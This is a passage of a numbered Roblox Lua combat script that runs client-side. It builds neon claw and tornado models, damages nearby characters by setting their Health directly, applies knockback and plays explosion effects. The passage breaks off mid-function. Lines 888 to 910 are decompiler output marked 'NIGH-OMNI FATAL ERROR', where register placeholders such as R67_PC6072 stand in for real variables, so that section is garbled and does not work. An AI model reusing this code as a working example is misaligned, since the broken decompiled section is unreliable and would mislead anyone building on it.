  845. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  846. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  847. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  848. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  849. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  850. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  851. ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  852. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  853. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  854. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
  855. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  856. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  857. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
  858. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  859. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  860. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  861. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  862. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  863. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  864. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  865. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  866. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  867. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  868. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  869. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  870. ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  871. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  872. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  873. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
  874. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  875. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  876. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
  877. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  878. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  879. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  880. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  881. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  882. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  883. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  884. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "White", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  885. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  886. MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "White", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  887. MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
  888. local CBlade = {}
  889. local CBladeWelds = {}
  890. for _,c in pairs(m:children()) do
  891. if c.className == "Part" then
  892. table.insert(CBlade, R67_PC6072)
  893. end
  894. end
  895. for _,c in pairs(m:children()) do
  896. if c.className == "Weld" then
  897. table.insert(CBladeWelds, R67_PC6072)
  898. print(R66_PC6093)
  899. end
  900. end
  901. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  902.  
  903. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  904.  
  905. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "White", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  906. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  907.  
  908. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  909.  
  910. HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
  911. CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
  912. FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "White", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
  913. FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  914. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "White", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  915. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  916. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
  917. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "White", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  918. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  919. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
  920. TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "White", "TornadoHat", Vector3.new(3, 0.400000006, 3))
  921. TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  922. CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
  923. local DBlade = {}
  924. local DBladeWelds = {}
  925. for _,c in pairs(demon:children()) do
  926. if c.className == "Part" then
  927. table.insert(DBlade, c)
  928. end
  929. end
  930. for _,c in pairs(demon:children()) do
  931. if c.className == "Weld" then
  932. table.insert(DBladeWelds, c)
  933. print(c)
  934. end
  935. end
  936. demon.Parent = nil
  937.  
  938. paly = game.Players.LocalPlayer
  939. char = paly.Character
  940. torso = char.Torso
  941. neck = char.Torso.Neck
  942. hum = char.Humanoid
  943. Player = game:GetService("Players").LocalPlayer
  944. local mouse = Player:GetMouse()
  945. Character = Player.Character
  946. tors = Character.Torso
  947. lleg = Character["Left Leg"]
  948. root = Character.HumanoidRootPart
  949. hed = Character.Head
  950. rleg = Character["Right Leg"]
  951. rarm = Character["Right Arm"]
  952. larm = Character["Left Arm"]
  953. local Effects = {}
  954. attack = false
  955. vt = Vector3.new
  956. bc = BrickColor.new
  957. br = BrickColor.random
  958. it = Instance.new
  959. cf = CFrame.new
  960. euler = CFrame.fromEulerAnglesXYZ
  961. angles = CFrame.Angles
  962. matr = math.random
  963. local basiccooldown = math.huge
  964. local ultcooldown = math.huge
  965. local secondcooldown = math.huge
  966. local thirdcooldown = math.huge
  967.  
  968. local boll = Instance.new("Part",game.Lighting)
  969. boll.Transparency = 0.5
  970. boll.Material = "Neon"
  971. boll.BrickColor = tors.BrickColor
  972. boll.Anchored = true
  973. boll.Size = vt(1,1,1)
  974. boll.Shape = "Ball"
  975. boll.CanCollide = false
  976.  
  977. local shur = Instance.new("Part",game.Lighting)
  978. shur.Transparency = 0
  979. shur.Material = "Neon"
  980. shur.BrickColor = tors.BrickColor
  981. shur.Anchored = true
  982. shur.Size = vt(5,0.2,5)
  983. shur.CanCollide = false
  984. local Meshshur = Instance.new("CylinderMesh",shur)
  985.  
  986.  
  987. local boll = Instance.new("Part",game.Lighting)
  988. boll.Transparency = 0.5
  989. boll.Material = "Neon"
  990. boll.BrickColor = bc("Bright red")
  991. boll.Anchored = true
  992. boll.Size = vt(1,1,1)
  993. boll.Shape = "Ball"
  994. boll.CanCollide = false
  995.  
  996. local shur = Instance.new("Part",game.Lighting)
  997. shur.Transparency = 0
  998. shur.Material = "Neon"
  999. shur.BrickColor = bc("Bright red")
  1000. shur.Anchored = true
  1001. shur.Size = vt(5,0.2,5)
  1002. shur.CanCollide = false
  1003. local Meshshur = Instance.new("CylinderMesh",shur)
  1004.  
  1005. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  1006. if hit.Parent==nil then
  1007. return
  1008. end
  1009. h=hit.Parent:FindFirstChild("Humanoid")
  1010. for _,v in pairs(hit.Parent:children()) do
  1011. if v:IsA("Humanoid") then
  1012. h=v
  1013. end
  1014. end
  1015. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  1016. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  1017. end
  1018. if hit.Parent.className=="Hat" then
  1019. hit=hit.Parent.Parent:findFirstChild("Head")
  1020. end
  1021. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  1022. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  1023. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  1024. return
  1025. end]]
  1026. -- hs(hit,1.2)
  1027. c=Instance.new("ObjectValue")
  1028. c.Name="creator"
  1029. c.Value=game:service("Players").LocalPlayer
  1030. c.Parent=h
  1031. game:GetService("Debris"):AddItem(c,.5)
  1032. Damage=math.random(minim,maxim)
  1033. -- h:TakeDamage(Damage)
  1034. blocked=false
  1035. block=hit.Parent:findFirstChild("Block")
  1036. if block~=nil then
  1037. print(block.className)
  1038. if block.className=="NumberValue" then
  1039. if block.Value>0 then
  1040. blocked=true
  1041. if decreaseblock==nil then
  1042. block.Value=block.Value-1
  1043. end
  1044. end
  1045. end
  1046. if block.className=="IntValue" then
  1047. if block.Value>0 then
  1048. blocked=true
  1049. if decreaseblock~=nil then
  1050. block.Value=block.Value-1
  1051. end
  1052. end
  1053. end
  1054. end
  1055. if blocked==false then
  1056. -- h:TakeDamage(Damage)
  1057. h.Health=h.Health-Damage
  1058. showDamage(hit.Parent,Damage,.5,TorsoColor)
  1059. else
  1060. h.Health=h.Health-(Damage/2)
  1061. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  1062. end
  1063. if Type=="Knockdown" then
  1064. hum=hit.Parent.Humanoid
  1065. hum.PlatformStand=true
  1066. coroutine.resume(coroutine.create(function(HHumanoid)
  1067. swait(1)
  1068. HHumanoid.PlatformStand=false
  1069. end),hum)
  1070. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  1071. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  1072. local bodvol=Instance.new("BodyVelocity")
  1073. bodvol.velocity=angle*knockback
  1074. bodvol.P=5000
  1075. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  1076. bodvol.Parent=hit
  1077. rl=Instance.new("BodyAngularVelocity")
  1078. rl.P=3000
  1079. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1080. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  1081. rl.Parent=hit
  1082. game:GetService("Debris"):AddItem(bodvol,.5)
  1083. game:GetService("Debris"):AddItem(rl,.5)
  1084. elseif Type=="Normal" then
  1085. vp=Instance.new("BodyVelocity")
  1086. vp.P=500
  1087. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  1088. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  1089. if KnockbackType==1 then
  1090. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  1091. elseif KnockbackType==2 then
  1092. vp.velocity=Property.CFrame.lookVector*knockback
  1093. end
  1094. if knockback>0 then
  1095. vp.Parent=hit.Parent.Torso
  1096. end
  1097. game:GetService("Debris"):AddItem(vp,.5)
  1098. elseif Type=="Up" then
  1099. local bodyVelocity=Instance.new("BodyVelocity")
  1100. bodyVelocity.velocity=vt(0,10,0)
  1101. bodyVelocity.P=1000
  1102. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  1103. bodyVelocity.Parent=hit
  1104. game:GetService("Debris"):AddItem(bodyVelocity,1)
  1105. rl=Instance.new("BodyAngularVelocity")
  1106. rl.P=3000
  1107. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1108. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  1109. rl.Parent=hit
  1110. game:GetService("Debris"):AddItem(rl,.5)
  1111. elseif Type=="Snare" then
  1112. bp=Instance.new("BodyPosition")
  1113. bp.P=2000
  1114. bp.D=100
  1115. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1116. bp.position=hit.Parent.Torso.Position
  1117. bp.Parent=hit.Parent.Torso
  1118. game:GetService("Debris"):AddItem(bp,1)
  1119. elseif Type=="Target" then
  1120. if Targetting==false then
  1121. ZTarget=hit.Parent.Torso
  1122. coroutine.resume(coroutine.create(function(Part)
  1123. swait(5)
  1124. end),ZTarget)
  1125. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  1126. targetgui=Instance.new("BillboardGui")
  1127. targetgui.Parent=ZTarget
  1128. targetgui.Size=UDim2.new(10,100,10,100)
  1129. targ=Instance.new("ImageLabel")
  1130. targ.Parent=targetgui
  1131. targ.BackgroundTransparency=1
  1132. targ.Image="rbxassetid://4834067"
  1133. targ.Size=UDim2.new(1,0,1,0)
  1134. cam.CameraType="Scriptable"
  1135. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1136. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1137. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1138. Targetting=true
  1139. RocketTarget=ZTarget
  1140. for i=1,Property do
  1141. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  1142. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  1143. swait()
  1144. end
  1145. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  1146. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1147. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1148. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  1149. end
  1150. Targetting=false
  1151. RocketTarget=nil
  1152. targetgui.Parent=nil
  1153. cam.CameraType="Custom"
  1154. end
  1155. end
  1156. debounce=Instance.new("BoolValue")
  1157. debounce.Name="DebounceHit"
  1158. debounce.Parent=hit.Parent
  1159. debounce.Value=true
  1160. game:GetService("Debris"):AddItem(debounce,Delay)
  1161. c=Instance.new("ObjectValue")
  1162. c.Name="creator"
  1163. c.Value=Player
  1164. c.Parent=h
  1165. game:GetService("Debris"):AddItem(c,.5)
  1166. CRIT=false
  1167. hitDeb=true
  1168. AttackPos=6
  1169. end
  1170. end
  1171.  
  1172. showDamage=function(Char,Dealt,du,Color)
  1173. m=Instance.new("Model")
  1174. m.Name=tostring(Dealt)
  1175. h=Instance.new("Humanoid")
  1176. h.Health=0
  1177. h.MaxHealth=0
  1178. h.Parent=m
  1179. c=Instance.new("Part")
  1180. c.Transparency=0
  1181. c.Material = "Neon"
  1182. c.BrickColor=bc("New Yeller")
  1183. c.Name="Head"
  1184. c.TopSurface=0
  1185. c.BottomSurface=0
  1186. local tick = Instance.new("Sound",c)
  1187. tick.SoundId = "rbxassetid://12221976"
  1188. tick.Volume = 5
  1189. tick.Pitch = 4
  1190. tick:Play()
  1191. c.formFactor="Plate"
  1192. c.Size=Vector3.new(1,.4,1)
  1193. ms=Instance.new("CylinderMesh")
  1194. ms.Scale=Vector3.new(.8,.8,.8)
  1195. if CRIT==true then
  1196. ms.Scale=Vector3.new(1,1.25,1)
  1197. end
  1198. ms.Parent=c
  1199. c.Reflectance=0
  1200. Instance.new("BodyGyro").Parent=c
  1201. c.Parent=m
  1202. if Char:findFirstChild("Head")~=nil then
  1203. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1204. elseif Char.Parent:findFirstChild("Head")~=nil then
  1205. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1206. end
  1207. f=Instance.new("BodyPosition")
  1208. f.P=2000
  1209. f.D=100
  1210. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1211. f.position=c.Position+Vector3.new(0,3,0)
  1212. f.Parent=c
  1213. game:GetService("Debris"):AddItem(m,.5+du)
  1214. c.CanCollide=false
  1215. m.Parent=workspace
  1216. c.CanCollide=false
  1217. p:Destroy()
  1218. end
  1219.  
  1220. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1221. for _, c in pairs(workspace:children()) do
  1222. local hum = c:findFirstChild("Humanoid")
  1223. if hum ~= nil then
  1224. local head = c:findFirstChild("Torso")
  1225. if head ~= nil then
  1226. local targ = head.Position - Part.Position
  1227. local mag = targ.magnitude
  1228. if mag <= magni and c.Name ~= Player.Name then
  1229. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  1230. end
  1231. end
  1232. end
  1233. end
  1234. end
  1235.  
  1236. function Explode(rad,par)
  1237. local expart = Instance.new("Part",script.Parent)
  1238. local expart2 = Instance.new("Part",script.Parent)
  1239. local partMesh = Instance.new("SpecialMesh",expart)
  1240. partMesh.MeshType = "Sphere"
  1241. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1242. partMesh2.MeshType = "Sphere"
  1243. local expld = Instance.new("Explosion", script.Parent)
  1244. local plode = Instance.new("Sound",expart)
  1245. plode.SoundId = "rbxassetid://165970126"
  1246. plode.Volume = 1
  1247. plode.Pitch = 1
  1248. plode.Looped = false
  1249. plode:Play()
  1250. expld.BlastRadius = rad
  1251. expld.Position = par.Position
  1252. partMesh.Scale = vt(rad,rad,rad)
  1253. expart.Size = vt(1,1,1)*1.5
  1254. expart.Transparency = 0
  1255. expart.Anchored = true
  1256. expart.Material = "Neon"
  1257. expart.BrickColor = bc("White")
  1258. expart.CFrame = par.CFrame
  1259. partMesh2.Scale = vt(rad,rad,rad)
  1260. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1261. expart2.Transparency = 0.5
  1262. expart2.Anchored = true
  1263. expart2.Material = "Neon"
  1264. expart2.BrickColor = bc("New Yeller")
  1265. expart2.CFrame = par.CFrame
  1266. local value = 1*rad/6.5
  1267. par:Destroy()
  1268. for i = 0, 100 do
  1269. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1270. expart.CFrame = expart.CFrame
  1271. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1272. expart2.CFrame = expart.CFrame
  1273. value = value - 0.035*rad/6.5
  1274. if value < 1 then
  1275. value = 0.25
  1276. expart.Transparency = expart.Transparency + 0.025
  1277. expart2.Transparency = expart2.Transparency + 0.025
  1278. end
  1279. wait()
  1280. end
  1281. plode.Parent = nil
  1282. expart.Parent = nil
  1283. expart2.Parent = nil
  1284. expld.Parent = nil
  1285. end
  1286.  
  1287. function ExplodeMass(rad,par)
  1288. local expart = Instance.new("Part",script.Parent)
  1289. local expart2 = Instance.new("Part",script.Parent)
  1290. local partMesh = Instance.new("SpecialMesh",expart)
  1291. partMesh.MeshType = "Sphere"
  1292. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1293. partMesh2.MeshType = "Sphere"
  1294. local expld = Instance.new("Explosion", script.Parent)
  1295. local plode = Instance.new("Sound",workspace)
  1296. plode.SoundId = "rbxassetid://579687077"
  1297. plode.Volume = 1
  1298. plode.Pitch = 0.85
  1299. plode.Looped = false
  1300. plode:Play()
  1301. local plodez = Instance.new("Sound",workspace)
  1302. plodez.SoundId = "rbxassetid://288641686"
  1303. plodez.Volume = 1
  1304. plodez.Pitch = 0.75
  1305. plodez.Looped = false
  1306. plodez:Play()
  1307. local plodeza = Instance.new("Sound",workspace)
  1308. plodeza.SoundId = "rbxassetid://197161452"
  1309. plodeza.Volume = 0.85
  1310. plodeza.Pitch = 0.65
  1311. plodeza.Looped = false
  1312. plodeza:Play()
  1313. local plodezar = Instance.new("Sound",workspace)
  1314. plodezar.SoundId = "rbxassetid://197161452"
  1315. plodezar.Volume = 0.85
  1316. plodezar.Pitch = 0.25
  1317. plodezar.Looped = false
  1318. plodezar:Play()
  1319. expld.BlastRadius = rad
  1320. expld.Position = par.Position
  1321. wait(0.5)
  1322. par:Destroy()
  1323. plode.Parent = nil
  1324. expart.Parent = nil
  1325. expart2.Parent = nil
  1326. expld.Parent = nil
  1327. end
  1328. function ExplodeMassen(rad,par)
  1329. local expart = Instance.new("Part",script.Parent)
  1330. local expart2 = Instance.new("Part",script.Parent)
  1331. local partMesh = Instance.new("SpecialMesh",expart)
  1332. partMesh.MeshType = "Sphere"
  1333. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1334. partMesh2.MeshType = "Sphere"
  1335. local expld = Instance.new("Explosion", script.Parent)
  1336. local plode = Instance.new("Sound",workspace)
  1337. plode.SoundId = "rbxassetid://579687077"
  1338. plode.Volume = 1
  1339. plode.Pitch = 0.85
  1340. plode.Looped = false
  1341. plode:Play()
  1342. local plodez = Instance.new("Sound",workspace)
  1343. plodez.SoundId = "rbxassetid://288641686"
  1344. plodez.Volume = 1
